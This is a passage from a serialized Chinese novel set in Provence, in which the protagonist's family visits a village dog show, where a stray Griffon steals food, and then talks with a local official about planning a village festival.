“那是当然了,普罗旺斯最厉害的‘美食家’先生。” 第539章 这个走向对劲吗? 在卢尔马兰,有几类人格外受人‘尊重’,无论谁见到了他们都会主动打个招呼。 一类是罗南和卢卡斯这样成功的村民,强大和有魅力的人无论在哪个年代、在哪个地域都会格外受欢迎。 一类是布兰科等卢尔马兰政府官员,村民们指望和他们把关系混熟了,能把家里的屋顶/下水道/门前土路/电箱免费修一修。 还有一类.是做生意的,尤其是和吃相关的生意。 “哟,弗雷迪,怎么今天中午就回来了?是羊卖不出去了吗?我就说现在的羊肉太贵了!” “这个时间来卢尔马兰送货?村里又开什么新餐厅了?快点和我分享一下啊。” 就连平时不爱说话、也不喜欢和村民互动的‘原始风’餐厅老板科莫见到弗雷迪,都要拦下他的车子聊两句: “弗雷迪!我订的羊到哪儿了?你人来了,我羊呢?” 弗雷迪把车窗摇下来,给科曼解释: “我今天提早下班了,你再等等,一会就送过来了。” 科曼点了一根烟,用调侃的语气说: “提早下班?我看你小子是嘴馋,要去谁家蹭饭吧?谁不知道,卢尔马兰就数你的鼻子最灵!今天要去吃什么好东西?” 弗雷迪从小就是个贪吃的小胖子,科曼是看着他一点点吃成现在这个大胖子的。 弗雷迪笑着耸肩: “要让你失望了,这次真和吃没有关系,我要带罗南一家去梅纳村看狗展。” 科曼意外的问: “罗南要买狗?” 弗雷迪擦了擦汗,和对方挥手: “不是罗南买,是罗南的父母,好了,我先走了,别担心你的羊,它一定在路上了。” 罗南要去编织大院‘赶工’,只有中午能空出来两到三个小时的自由活动时间,于是去看狗展的时间定在了这个时候。 罗天海和冯珍去得很不情不愿。 他们想要小黑,并不想要新狗,对那个梅纳村狗展一点都不感兴趣。 但因为佐伊也会一起同行,算是他们一家四口的首次小‘活动’,所以还是答应去了。 佐伊中午来罗南家吃了午饭,等待弗雷迪来接他们时,像小鸟一样叽叽喳喳的说个不停,还没到梅纳村就开始畅想那里的样子。 “我没有去参加过狗展,听说是这两年新办的,而且现场还有比赛呢。”佐伊遗憾的看向马赛,“早知道给马赛宝宝也报个名了。” 冯珍摸了摸躺在自己脚边的马赛: “对啊,我们马赛宝宝聪明得很呢。” 罗南在敞开式厨房里准备一会要带去的吃食,随口搭话道: “马赛可能没有办法参赛,它是改良犬,血统不够纯正,一会我给你们买只血统好的。” 罗天海在楼梯口出现,也‘随口’搭话: “我们不在意什么血统不血统的,你买只好的吧。” ‘争狗’大战进行了半月余,虽然没有人再提起过这个话题,但暗地里的争斗从未停止过。 佐伊远远的给了罗南一个安慰的眼神,提醒他换个话题,不要继续说了。 “滴滴滴滴,滴滴,滴滴滴滴滴滴——”门外由远及近传来一阵阵很有节奏的汽车喇叭声。 想都不用想,是弗雷迪那个幼稚鬼来了,也只有他会用喇叭唱歌。 四口人起身出门,在门口,佐伊压低声音对罗南说: “待会你我‘双剑合并’,一定让你父母找到喜欢的狗。” 罗南给自己和佐伊加油: “一定!” 路上,弗雷迪自然要给罗南一家人科普关于狗展的基础信息。 他说这次狗展在梅纳村外围的足球场里举行,环境相当不错,足球场的外围是连成片的葡萄园。 巴黎一家人知道吕贝隆的每个村子都会有供居民活动的体育场地,但足球场还是第一次见,尤其是被葡萄园包围的。 罗南问佐伊,梅纳村怎么还有个足球场呢。 但这一次普罗旺斯‘百事通’不管用了,因为这到了她的陌生领域: “我平时不关注体育消息,等下回去问问维埃里,他一定知道原因。” “梅纳村有自己的足球队。”弗雷迪的屠宰场就开在梅纳村的范围里,他对这里轻车熟路。 罗南惊讶的问: “梅纳村有自己的足球队?本地人组成的?” 弗雷迪确定的说: “没错,而且每年有不少比赛,到了比赛的日子球场里挤满了球迷,还可以边看边吃,看球野餐两不误。” 罗天海也是个球迷,忍不住说了一句: “有意思。” 普罗旺斯式的荒诞足球吗? 有点想看 罗南回头对父亲说: “下次我们来看球?” 他最近仍在给父母找老年爱好,现在是找到一个了吗? 罗天海想了一下: “看有没有时间吧,有机会倒是可以来看看。” 罗南看向身边的佐伊: “带着维埃里一起。” 正好可以弥补没能带维埃里去马赛看球的遗憾。 别管是什么等级的比赛,也别管踢的怎么样,你就说我带没带你去看球吧? 冯珍插嘴: “那就把路易和莉亚一起叫来吧,对了还有你弗雷迪,你和弗洛西也来,再把阿兰和卡尔他们叫上,可以野餐对不对?我给大家准备好吃的。” 上帝,谁想去看足球啊? 快多叫几个女人来,要不然要无聊死我了! “我也一起准备。”佐伊主动说道。 要尽快提升厨艺,最近工作太忙,技术都生疏了.要找一切机会多多练习。 弗雷迪开心的说: “行,那下次比赛前我通知你们。” 哦,太棒了,又多了一次品尝美食的机会。 罗南笑着看了一圈身边的亲朋好友。 果然是欢乐的天堂普罗旺斯啊,聚会说组织就组织起来了.而且每个人都能找到乐在其中的理由。 乡间小路上突然出现了许多色彩斑斓的旗帜,车窗两侧杂草丛生的野地也被清理干净了。 又开了一会,尖锐的电子声忽然响彻四周,把一车人吓的浑身一震。 “喂!喂!1、2、3、1、2、3!中午好,梅纳村!”一个短暂的停顿过后,“好,机器没问题。” 扩音器里的声音来的快,去的也快,很快山谷里响起了激昂的音乐声。 “该死的,这个狗展的喇叭不知道是哪里买的,几公里外都能听到声音。”弗雷迪暗骂了一句,“我同意中午过来,就说因为听说中午他们会休息,包括扩音器,看来午休已经结束了。” 罗南幽默的说: “活动嘛,不就是图个‘轰动’和‘热闹’?” 弗雷迪不满的继续说: “但那不该是指发出的噪音,这个活动的组委会很业余,没有宣传,也没吸引来什么人,还好我们今年来了,我和我的同事打赌,这次应该是最后一届。” 前方的梅纳村足球场已经出现在眼前。 场地四周密密麻麻的竖起了高高的围栏,像是在防着过往行人的眼睛吃到免费大餐似的。 “这不是挺有‘经验’的吗?”罗南问弗雷迪,“看狗展要买门票吧?” “当然,现在看什么展不要钱?老百姓的口袋有几千、几万个商人盯着。”弗雷迪用理所应当的语气说,“不过我找了一个熟人,每个人10法郎就可以进去,正常要25法郎。” 罗天海和冯珍本就不想来,一听还要门票更不想进去了。 跟多少钱没有关系,没这个必要! 我们家马赛是最好的!! 但事实证明,盯着居民口袋的商界精英比想象中还要‘丧心病狂’,他们连罗天海和冯珍这种一毛不拔的人都考虑进去了。 弗雷迪停好了车子,一行人还没下车,就遇到了第一批狗大军。 在一棵巨大的树下,拴着几十只不同品种的大小狗,足足围着树栓了一圈,像是给这棵树戴上了会活动的项链。 狗主人长了一副吉普赛人的面庞——高个子、黑皮肤,浓密的八字胡和乱糟糟的头发。 似乎发现罗南一行人注意到了这里,那位老板开始大声吆喝: “纯种犬,杂种犬,稀有品种,猎狗要找什么样子的女士先生们?擅长长跑的、擅长短跑的,擅长抓兔子的、抓鸟的,什么样子的都有。” 罗南之前看过一篇报道,主题是讨论家里养狗的人,平时说的最多的一句话会是什么,经过投票,百分之二十以上的人选择——我看看这是哪个可爱的小宝贝呀~ 这几个人的家里都养狗,看到这么多狗,根本不用商量,同时围了过去。 有一只沙皮狗艰难的用后腿挠耳朵,那张滑稽的脸配合着它的动作,让一群人不受控的笑出声音。 聪明的商人抓起它后勃颈厚厚的皮,给罗南几个人展示: “像不像个袋子?你们可以直接把它带回家。” 罗南看向父母,咨询他们的意见。 老两口今天也是有备而来,看狗行,提买那是万万不行的。 他们摇了摇头,迈步离开了这里。 有礼貌的佐伊回答老板: “我们已经有两只狗了,不能再养了。” 那商人笑出了一脸褶子: “两只还是三只,有什么区别吗小姐?” 虽然狗没买成,但这个摊位把冯珍和罗天海的兴趣勾起来了。 本着来都来了的原则,罗天海主动去买了5张门票,几个人终于进入了梅纳村狗展的正式场地。 场内摊贩的货色越来越有看头。 刚走了没两步,罗南便在一个用夹板和铁丝制成的笼子前停下脚步,指着里面的几个小家伙说: “比格!” 他用蛊惑的语气对罗天海说: “今年冬天咱们一起进山去打猎吧?你看去年停在密林外的那些人,他们中的许多带的都是比格犬。” 不等罗天海说话,这个摊位的店主先开口了。 见到罗南三口人的皮肤颜色,他的语气格外的有耐心: “这不是比格,是猎狐犬,不过你说的也不算错,它确实是捕猎的冠军,尤其是兔子和狐狸。” 比格是大众比较熟悉的品种,那小耳朵,那小眼神.怎么可能会看错? 难道是幼犬的原因? 罗南蹲下来认真的打量,有些不好意的说: “但它真的很像比格。” 笼子里有一只短小肥胖的猎狐犬,正朝天躺在地上打盹,四条粗短的腿向上伸着。 摊主将它强行唤醒,给几个人展示: “这两种狗无论是起源、用途还是体型都有很大的差别,猎狐犬起源于17世纪的英国,为骑马狩猎狐狸而培育,而比格犬可追溯至古希腊,主要为猎兔使用,比格犬是猎狐犬的祖先之一但非同一品种;猎狐犬成年后体高53-64厘米,体重27-32公斤,比格犬是小型猎犬,体高通常33-40厘米,体重7-12公斤;比格犬耳长宽,近鼻尖,猎狐犬耳短窄。” 他挠了挠小家伙的肚皮,骄傲的继续说: “狐狸是英国贵族们最喜欢的猎物,但它不仅狡猾速度还很快,贵族们就骑马围猎,骏马和狐狸的速度对猎狐犬来说不是问题,每次出猎的猎狐犬能达到上百条,它们可以连续奔跑2小时不停歇,直到把狐狸累瘫藏在洞里。” 罗南跃跃欲试的问罗天海: “喜欢吗?距离咱们家最近的那片密林里就有狐狸,我看见过很多次。” 罗天海犹豫了一下,摇摇头,向着下一个摊位迈步: “这东西上百只凑到一起去打猎才有意思,不要不要。” 罗南叹了一口气,也跟着站起来,同时安慰自己——这才刚刚进入足球场,后面还有许许多多的好品种,一定可以俘获罗天海的心。 他走了两步,突然觉得少了点什么‘东西’。 一扭头发现老婆没了! 再回头看看,佐伊居然还在刚刚那个摊位上逗狗呢。 “这种狗很特别,它在吃东西的时候,没有什么事情能让它分心,全身都会变得僵硬,你压它的头,它的后脚就会抬起来,不信你试试。”店主给佐伊展示猎狐犬的新技能。 佐伊像发现了新的大陆,玩的不亦乐乎: “我可以抱抱它吗?它太可爱了。” “当然可以,你把它买回去,想怎么玩怎么玩。”店主疯狂明示。 罗南在旁边看的心惊肉跳。 不会最后父母没买到心仪的狗,佐伊买了一只新狗回去吧? 这才是他们看的第二个摊位,她就走不动路了! 玩了一会,佐伊终于离开了这里。 “我以为你要买下它。”罗南后怕的说。 还好还好,佐伊是有自控能力的。 佐伊拉着罗南向更深处行进: “确实很喜欢,但刚刚听到里面有很多稀有的本土品种,我们先去看看,之后再做决定。” 罗南一阵紧张: “你真打算买一只?” 宝贝,我刚夸完你! 佐伊笑容明媚的说: “我认为那人说的对——两只还是三只,有什么区别吗?” 罗南努力劝阻: “但卢卡斯也给我订了一只狗,秋天我就要去狗舍了。” 佐伊水光明媚的浅蓝眼眸微微弯起,美的罗南说不出来一个不字: “三只还是四只有区别吗?我们快过去看看那些稀有的本土犬,我好奇死了!” 第540章 黑色毛毯! 罗南等人来看展的时间正好赶在中午。 虽然扩音器里快节奏的音乐不停提醒——先生们女士们,午休已经结束! 但整个足球场里还是充斥着特属于普罗旺斯式的慵懒——夏天不午休怎么行呢? 摊主们有的坐着睡,有的躺着睡,有的和狗趴在一起睡大多数人睡得比笼子里的狗还香甜。 佐伊拉着罗南走了一会,看到了几只感兴趣的本土犬种,奈何狗主人还没做好迎接下午工作的准备只能悻悻离开。 “先过来坐会吧,这鬼天气热死人了。”弗雷迪叫住了还想继续深入的罗南和佐伊,带头走向一个角落里的折迭小桌子。 他将大屁股艰难的挤入与之型号不匹配的月亮椅,之后对一个正在打盹的年轻人说: “伙计,给我们5瓶啤酒,要冰镇的。” 那年轻人哈欠打了一半硬生生的咽了下去,露出了和周围摊主格格不入的热情: “不点一些吃的吗先生?披萨、三明治、黄油面包、沙拉.什么都有,我推荐你们尝尝三明治,刚刚有一位女士一次性买走了8个,说比阿普特餐厅里的还好吃。” 弗雷迪耸肩: “抱歉了伙计,我们吃过午饭了。” “那来一份奶酪配啤酒?我妈妈亲手做的羊奶酪。” 弗雷迪指了指罗南腿上的双肩背包: “我们带了水果,只要5瓶啤酒,谢谢。” “好的先生。”那小伙子终于离开。 这一路走来,罗南看到路边有许多类似这样的休息区,还以为是主办方特意布置出来供游客休息的地方,心想花了门票钱‘服务’就是不一样啊,谁说这主办方业余的? 原来是露天‘餐厅’啊 “怎么这么多人来这里卖食物?”罗南把提前洗好的水果拿出来放到桌子上,同时问弗雷迪,“我们只走了一小块区域,看到这样的地方至少有5、6个了,这频率太高了。” 弗雷迪拿了一颗新鲜的桃子,一边咀嚼一边陷入椅子里享受的说: “这里是普罗旺斯啊伙计,什么活动能和‘吃’脱得开关系?这里就是味道不大好,狗味太重了,否则一定会有人误认为这里是什么卖美食的集市,我发誓。” 佐伊的眼神在四周打量: “我看到有人手里拿了棉花糖和冰淇淋,还见到有疑似是倒了粉红酒的杯子,一会我们留意一下。” “有人卖粉红酒吗?”罗南好奇的跟着四处打量。 粉红酒都渗透到这里了? 不过想想也不是没有可能。 罗南的粉红酒摊位在梅纳村集市卖的风生水起,连续两年上了《密法尔指南》。 弗雷迪给大家分啤酒,用开玩笑的语气对罗南说: “看看,又找到了一个不错的渠道是不是?普罗旺斯的夏季会举行几百个活动,所有活动中都离不开美食的身影.这些都是斯特斯加的机会啊。” 罗南接下啤酒喝了一口: “今年够呛了,等明年吧,今年只是供给现有的渠道都不够。” 参加完梅纳村的狗展,罗南马上就要去教皇新堡参与重要的红酒拍卖会,希望这次拍卖会过后可以让斯特斯加安全的推行起‘配额制度’,并顺利的度过库存紧张危机。 “女士们先生们!” 扩音器里突然出现的声音,吓得罗南差点把手里的啤酒扔出去,周围辱骂的声音不绝入耳,显然大家这几天已经快被这声音搞出心脏病了。 但诅咒和谩骂并没办法阻止那道声音越来越激动和亢奋。 “大家是不是已经等不及了?我宣布,下午的优雅狗姿比赛和最佳狗鼻子比赛将在5分钟后开始,祝各位好运并玩的开心!” 不过从某些角度讲,扩音器也起到了一点积极作用——梅纳村终于从午休中清醒了过来,狗主人们伸着懒腰睁开眼睛。 突然,一只‘黑色毛毯’跳上罗南等人的桌子,以‘迅雷不及掩耳盗铃之势’将他们桌子上的水果吃了个干净,一点都没给大伙反应的时机。 这狗出现的突然,吃东西的动静也很吓人,一口能吃掉半个盘子,两位女士尖叫着逃开,罗南想要驱赶,但那只‘黑色毛毯’已吃完所有水果逃离现场,只留给了他们一个潇洒的背影。 “上帝,那是什么狗?”冯珍拍着胸脯说,“它从出现到逃离有3秒钟吗?我都没有看清它的样子。” 罗天海刚刚保护冯珍来着,也没有注意逃犯的样子,只用余光看了几眼: “好像和马赛是一个品种的?但是是黑色。” 艺术家的观察和捕捉能力比普通人稍强一些,佐伊看着罪犯逃离的方向说: “它的毛发太长了,乱糟糟的还打了结,上面沾了许多脏东西,也许那不是它原本的样子。” 这边的动静将年轻店主吸引了过来,听到罗南等人的遭遇,他‘咬牙切齿’的说: “是那只格里芬!它又来偷东西吃了!” 名字里有格里芬的犬种非常多,例如布鲁塞尔格里芬、荷兰格里芬和马赛的‘祖先’科达尔格里芬等等,全部是刚毛犬。 法国人称呼格里芬,不加前缀,通常指的是17世纪由荷兰格里芬和法国指示犬杂交培育的新品种,俗称本土格里芬。 和马赛的‘祖先’科达尔格里芬喜欢在北方有水的区域不同,本土格里芬可以适应普罗旺斯的炎热气候,因此在本地很常见。 这也是普罗旺斯人非常喜欢养的犬类品种之一,因为其嗅觉敏感,常用于捕猎鹌鹑、野兔等小型猎物。 一听到那个小偷居然是本土格里芬,罗南不确定的问同行几人: “它有尾巴吗?” 格里芬属于中性猎犬,体型略大,为了让其在捕猎时更加迅捷,本地猎人通常会把小狗的尾巴剪了。 弗雷迪拍了下手掌: “没有尾巴!它刚刚用菊花对着我来着,我留意到了。” 听到这个回答,大家对‘小偷’的恨意又没有那么浓了。 佐伊有些心疼的说: “它曾经有主人,不知什么原因走失了。” “说不定是被主人丢弃了!这个家伙,性格太恶劣了!”摊主愤愤不平的说,显然这家伙已经不止一次来偷东西了。 “那就更可怜了啊。”佐伊担忧的四处打量。 罗南搂住她的肩膀,不想让她想太多: “我们继续去看展吧。” 佐伊点了点头: “好。” 主办方专业不专业,罗南不好评价。 因为他只看过这一次狗展,不知道其他狗展是什么样子的。 但他肯定,这次来参加狗展的摊主们都挺‘专业’的。 午休时间,那些折迭桌子供参观者休息和吃饭,下午它们‘摇身一变’,变了成摆着几十支枪支的‘军火库’。 “罗南,快来看看这里。”弗雷迪看到枪就走不动道,虽然他根本不去打猎。 路易那个圈子的几个朋友里,只有阿兰会在冬天偶尔去打猎,但这并不妨碍男人们喜欢枪。 罗南在某个摊位看上了一把黑色亚光霰弹枪,他现在急需要一把能正常用的枪,来取代他的那两把古董烧火棍。 说来也是神奇,非打猎季,罗南想买枪、买装备,畅想着打猎季开始后要如何如何的大展身手。 可真的到了打猎季他又不想去了,可能和身边没有一个正常的猎人有关——都是一帮借打猎之名去吃喝喝的‘骗子’。 不过今年的情况可能会有些不同。 卢卡斯搬回卢尔马兰,他是真正的‘猎人’。 去年如果不是寒潮突然到来,把大伙的心气浇灭了,罗南一定跟着卢卡斯进山打野味去了。 “这把枪多少钱?”罗南对这把散弹枪爱不释手。 “3500法郎,可以送你50发子弹。”那店主热情的说着。 弗雷迪在一旁提醒: “你带狩猎执照了吗?” 《狩猎执照考试:理论问题官方手册》里很明确的规定,买枪时必须提供购买者本人的执照。 “你怎么也不提醒我带着啊?”罗南遗憾的放下了散弹枪,把‘气’撒在弗雷迪身上。 弗雷迪翻了个白眼: “我亲爱的朋友,如果不是我‘强烈’邀请,你们来都不想来,我哪里还有心思让你带执照呢。” 卖枪的摊主是个四十多岁的妇女,听到罗南和弗雷迪的对话,向他们推荐起了其他东西: “小伙子,看看这个‘铜指环’,再看看这个‘铁流星’,这些都是不需要狩猎执照就可以购买的。” 八十年代末,日本财团攻入了法国市场,日本电影和动画片也进入了法国人的视线。 在1986和1987年,‘日本忍者’风在普罗旺斯小范围的刮了起来,很显然这位老板想利用这一点做点什么。 弗雷迪笑的前仰后合,将更多的奇怪武器推荐给罗南: “对啊,谁说打猎一定要用到枪呢?反正也打不到,用什么不是用。” 罗南不想跟幼稚鬼一般见识,对亲爱的佐伊说: “走,我们去看比赛。” 等我今年打到野猪,你休想吃一块! 今天下午有两场比赛——优雅狗姿比赛和最佳狗鼻子比赛。 两个比赛在同一时间相连的两块场地举行,这样只要选择的观赛点好,就可以同时看到两个比赛了。 罗南他们运气不错,很真找到了一个不错的地方。 “只能说来看的观众太少了,要不然怎么可能让我们抢到这么好的地方?”弗雷迪半躺在草地上,一手拿着粉红酒杯,一手拿着乡村奶酪,一脸的悠哉。 他们在足球场里找到了卖粉红酒的摊位,而且那个老板用的是斯特斯加的酒,这必须要鼓励一下。 既然买了酒,就一定要配点吃的,提前在足球场里体会了一把野餐。 佐伊手里拿着冰淇淋: “确实人少,看的人还没有比赛的人多呢。” 在比赛等待区,有四五十组选手和他们的狗在等待着检验。 同时看见这么多对狗主人和狗同框,大家很快总结出了一些经验——有其狗必有其主。 狗主人和狗长时间相处下来,总是会有几分神似只是或多或少。 而在这次狗展上,他们找到了很多活生生的例子。 “你看那个女主人和她的巴吉度多像啊。” 巴吉度是比格和猎狐犬的另一个‘兄弟’,它们三个站到一起就是幼年、青年和壮年的关系。 参加完今天的狗展,罗南看到这张脸再也做不出脱口而出‘比格’这种蠢事情了,今天他至少看到了7、8种长着同一张脸的狗。 “哈哈,浓眉毛、大胡子的男主人怎么都喜欢养苏格兰牧羊犬啊。” “体型瘦小的人后面总跟着一只跑动迅速的小灵狗,这是第几个了?” 优雅狗姿比赛分男女组。 两组比赛的冠军都满足了罗南等人总结出来的‘刻板印象’。 女子组的冠军是一位穿着白衬衫、白短裤、白色牛仔靴的美丽金发女郎,她用白色皮带牵着一只白色迷你狮子狗。 即使那些穿着裙子和平底鞋的女士们用吹毛求疵的眼光时刻盯着她看,那股子挑剔劲儿平时通常只有去买菜时才会使出来.但那女郎始终优雅至极,和她的迷你狮子犬一样,喝果汁的时候都要翘着兰花指。 男子组的冠军就更加‘优雅’了,比赛由一位矮胖的男士和他那半人高的大丹狗一统天下,简直毫无对手。 狗很干净,背部黑得发亮,主人穿着一件黑色紧身T恤,黑色贴身牛仔裤和一双黑色牛仔靴,狗儿戴着一个很重的黑色项圈,主人脖子上戴着一条缆绳般的项链,手上还戴着一个类似的手镯,或许是疏忽吧.大丹没戴手链。 它正彬彬有礼、饶有兴趣地看着从它胯下来来往往的小狗。 “你说那大丹狗的好脾气能维持多久?”弗雷迪开玩笑的问罗南,“有没有可能,它会突然暴起,一口吃掉一只来个杀一儆百?那些小狗太烦了!” 罗南耸肩: “那要看它的主人是不是这种人了,忘了有其狗必有其主了吗?” 冯珍拍了拍罗南和弗雷迪的肩膀,提醒他们关注下另一边的进程: “这些狗太菜了啊,十几只没有一只成功的!!” 最灵狗鼻子比赛简单又粗暴。 运动场上随意放置了很多处小灌木丛,比赛的战利品——一只活鹌鹑,将被藏在里面任何的地方。 而狗的任务是找到它,但不能咬死,只能指示鹌鹑藏匿的地方,谁花的时间最短,谁就获胜。 这个比赛听起来挺有意思的吧? 完全是模拟打猎现场,可比看狗走猫步有意思多了。 但这些猎犬和他们的主人一样在打猎方向不靠谱,罗南只看了几个就去看另一边了。 比如,现在这只贝吉牧羊犬,它可是普罗旺斯最有名的驱羊高手,佐伊之前就看上这种狗,并想要让它回去陪呼呼玩。 或许是它厌烦了,也或许是对被派出场干这样的傻事感到恼火,它对着树丛抬腿撒了泡尿,然后就跑回主人身边。 这已经是今天不知第多少只‘摆烂’的狗子,负责藏鹌鹑的人将那只可怜的鹌鹑重新藏了一个地方,好让下一位选手上场。 可出场的狗儿一只接一只地停在这个或那个刚刚藏过鹌鹑的空树丛边,抬起头,试探性地伸出爪子,然后.失败。 “这只鹌鹑的味儿够大的。”罗南哭笑不得的说。 你说它们失败了吧,似乎也没有,许多狗都找到鹌鹑之前藏身的地方了,但鹌鹑从这处树丛被转移到下一处树丛,沿路留下了气味,可能现在对于它们来说,整场全是鹌鹑的味道,它们也被搞懵了。 下一位选手,普罗旺斯另一种名片犬种布拉克·奥弗涅短毛犬直接罢工了。 它无视了主人的嚎叫,蹲到了正在野餐的罗南等人面前,用祈求的眼神暗示自己希望得到一块甜瓜。 佐伊扭头对罗南说: “我放弃买布拉克·奥弗涅短毛犬了,它太馋了吧?我刚刚才看到它在另几个观众那里要了面包。” 罗南心情不错的安慰: “我们现在的两只狗已经很好了。” 突然,比赛现场爆发出一阵刺耳的尖叫。 只见一块‘黑色毛毯’鬼魅般的跑入灌木丛,将那只可怜的鹌鹑叼起来,飞也似得跑了。 罗南和佐伊互看了一眼,同时爆笑: “我太好奇了,它之前的主人是什么人啊?” 这只狗怎么这样啊? 又来偷吃了! 第541章 黑森林的故事 罗南等人的梅纳村狗展在八卦‘黑色毛毯’中愉快结束。 这只当了两次‘强盗’的本土格里芬给几人留下的印象最深。 深到罗南不忘此行目的、离开前向父母推销其他幼犬时,罗天海和冯珍用‘我看那只格里芬不错,你把它抓来吧’作为理由搪塞。 深刻到佐伊失去了购买其他狗崽的兴趣。 她说和那只格里芬比,其他狗总觉得差点意思,毕竟那么多狗都找不到鹌鹑的确切位置,只有它‘一击即中’了。 “那就预祝我们有缘再见吧。”罗南语气轻松地说。 这只狗的表现实在太过‘高调’,在场有几位梅纳村的狗主人立即认出了这只格里芬的身份,据说它长年在梅纳村附近出没,哪里有吃的东西、哪里热闹就去哪里,是个名副其实的大‘混子’。 卢尔马兰和梅纳村距离那么近,每个月他们都得来好几次,稍微留意一下,说不定还真有‘再见’的机会。 这只狗可太有意思了。 “那就有缘再见了。”佐伊回头看了一眼,依依不舍的上了弗雷迪的车子。 去梅纳村看狗展算是忙里偷闲,一回到卢尔马兰罗南立即返回编织大院赶工。 他已经连续两天没去森林看费尔南教授和他的学生们,今天高低得去看一眼了。 但下午3点多,希尔维突然到访编织大院,又把罗南的脚步拖住。 “我在卢尔马兰找了一圈,你居然在这里。”希尔维搬了一把小凳子,坐在罗南的对面,“你这个老板还要亲自上阵?” “订单突然激增,这不是怕做不完吗?”罗南开玩笑的对希尔维说,“你来的真是时候,再晚来几分钟我就要去森林里了。” 希尔维知道森林里的情况,也知道罗南时常会去看看,康蒂娜就是她派去和教授团队对接的。 她扭动了一下屁股,平摊双手: “恐怕你今天没办法去了,我有事情找你。” 巴蒂和卢尔马兰的大部分妇女都混熟了,但希尔维并不在列,见她摆出一副要长聊的架势,高兴极了。 今天我必须攻下这位美丽的女士! “那凳子不舒服,你等我下,我去屋里给你搬一把椅子,再拿点吃的。”巴蒂热情的招待起希尔维。 希尔维也是一点都没客气: “谢谢啊。” 罗南一边做收尾的工作,一边笑着问: “什么事?重要到你亲自来找我?” 希尔维‘装腔作势’地说: “当然重要了,不重要你能派特奥天天拿着皮鞭去‘抽’我的工人?” 罗南眼前一亮: “可以进城堡了?” 希尔维刚刚只是开玩笑,她当然理解罗南迫切的心情,笑容满面的说: “没错,我让工人留下了一些建筑材料和工具,你们在布置婚礼现场时如果遇到无法处理的事情,也可以找我协调工人帮忙,我已经和他们提前打好招呼了。” “酒来了,椅子也来了!”巴蒂迈着小碎步出现,生怕错过什么。 罗南亲自给希尔维倒酒: “感谢的话我就不多说了,婚礼那天我等你下班,你不来狂欢不结束。” 受天主教礼俗与几百年来农耕作息的影响,吕贝隆的婚礼正式仪式必在中午前完成。 而且阿维尼翁还对此颁布过法律。 根据教规《天主教婚姻圣事典仪》中规定: “婚礼弥撒需于早晨祷告后、午时经前举行,以蒙天主晨光之祝。” 下午或者晚上举行,会被视同为‘亵渎神明’。 不过狂欢可以一直持续到深夜,甚至是凌晨。 卢尔马兰政府的官员们平时比较忙碌,除了在婚礼当天有重要身份的布兰科,其他人应该无法出席婚礼现场,只能下班之后来参加‘月下盛宴’。 希尔维语气一下子欢快起来: “布兰科说了,我们都可以去参加你的婚礼,这可以被视作是工作之一。” “那太棒了!”巴蒂的语气比新郎罗南和可以带薪参与婚礼的希尔维还开心,他举起杯子,“这不得喝一杯啊朋友们。” 三个人碰了个杯,巴蒂一边给罗南和希尔维倒酒,一边侃侃而谈道: “婚礼那天会有乡村舞会,美丽的女士,请允许我预定下你的第一支舞。” 乡村舞会是巴蒂强烈要求加进去的环节,他的邀请名单里又多了一个名字! 希尔维开心的撩了下头发,心想老娘的魅力不减当年啊,她礼貌的点了下头,答应下了巴蒂的邀请: “没有问题。” 巴蒂还没开心两秒钟,希尔维又歉意的继续说道: “但今天能不能给我和罗南一些独处空间?我有重要的事情想要和他讨论.” 巴蒂很识趣地离开了。 这位乐天派的男孩觉得今日的收获足够丰富,痛快的将空间留给罗南和希尔维。 罗南疑惑的问: “还有什么事?” 希尔维来找他不只是要聊卢尔马兰城堡的事,还有其他? 而且还需要摒弃旁人. 这次换做希尔维给罗南倒酒了: “还记得我跟你说过的活动吗?就是布兰科让我们尽快策划的那个。” 罗南恍然大悟的点头: “记得记得,你说让我回去也一起想想的那个抱歉,我最近有些忙,还没有顾及上这件事。” 希尔维表示理解: “我当然知道你忙了,卢尔马兰手工艺合作社都需要你这个老板上阵了,而且你还要去森林所以,我今天主动过来找你。” 罗南仔细回忆了一下。 上一次在村口见面,希尔维只是说了有这么一件事情,没有给出过方向和要求,再加上她来的突然,罗南现在脑子里空空如也,他询问道: “我能问问现在是什么进度了吗?” 希尔维把杯子里的酒一口干了,苦闷的叹气: “现在的进度是,我们提上去了许多创意,也借鉴了很多邻村的案例可布兰科全部都不满意,不是觉得‘模仿’痕迹太重,就是觉得活动没有意思,布兰科希望我们拿出一个特属于卢尔马兰的活动主题。” 她用求助的语气对罗南说: “过去的几十年间,卢尔马兰每年只有一个大型活动,那便是还愿盛典,除此之外我们没有任何举办活动的经验.罗南,你应该是村里亲身参与过活动最多、类型最广的村民,我今天来是想找你取取经,开拓下思路。” 卢尔马兰正在高速发展中,发展的太快就一定会暴露出许许多多的问题,其中之一便是政府官员的经验‘追’不上卢尔马兰的发展进度。 大家在做的事情有许多都是之前工作中不涉及的、新的内容,有些可以靠态度和刻苦来攻克,可有些真的不行,就比如经验。 这个时候希尔维想到了罗南。 罗南参与过戈尔德系列艺术活动、参与过梅纳村和艾克斯的美食活动、参与过尼斯的狂欢节、参与过摩纳哥的体育活动、还参与过博尼约有百年历史的山羊赛跑大赛。 这些活动的领域不同、内容不同,可罗南次次都能取得好成绩。 而且罗南的朋友遍布普罗旺斯各行各业,还是从巴黎来的.眼界和经验都不是土生土长的卢尔马兰人能比的。 罗南思考了一下,反问道: “你想举办一个怎样的活动?至少得有个方向吧?” 希尔维头疼的说: “我们提出过办艺术活动,因为卢尔马兰有许多艺术家,布兰科说现在做这些太早,需要积累些经验再考虑;我们又提出举行美食活动,布兰科认为在卢尔马兰举办的美食活动一定要和粉红酒扯上关系,以加深游客对粉红酒之乡的印象,但斯特斯加目前还没有准备好,所以举行美食活动现在也不是个好时机,我们又提出——” 希尔维说了一阵子,连罗南都跟着头疼了。 上帝,这可真是个苦差事。 最主要的原因还是因为大家的经验不足,拿不出让人眼前一亮的东西。 罗南脑袋里想了几个,还没希尔维说的有意思呢。 希尔维越说越着急,焦虑的不停扯头发。 布兰科给的截止日期在即,但完全看不到什么方向啊。 她哀求的对罗南说: “我真是想不出来其他的创意了,你看我这头发,大把大把的掉啊,快愁秃了!” 罗南马上认了怂,也用哀求的语气说: “我还没有你的经验丰富呢,你想不出来我更想不出来了。” 休想让我掉头发! 这活儿我更不能管了!! 但罗南哪里是希尔维的对手,在她软磨硬泡下,他终于说出了一个思路: “这样吧,我介绍一位朋友给你认识,在活动经验方面,他绝对是普罗旺斯顶级的。” 希尔维马上喜形于色的问: “是哪位沃克吕兹省的官员吗?” 布兰科无意间透露过,他在罗南的餐厅里见过许多沃克吕兹省的官员。 罗南摇头: 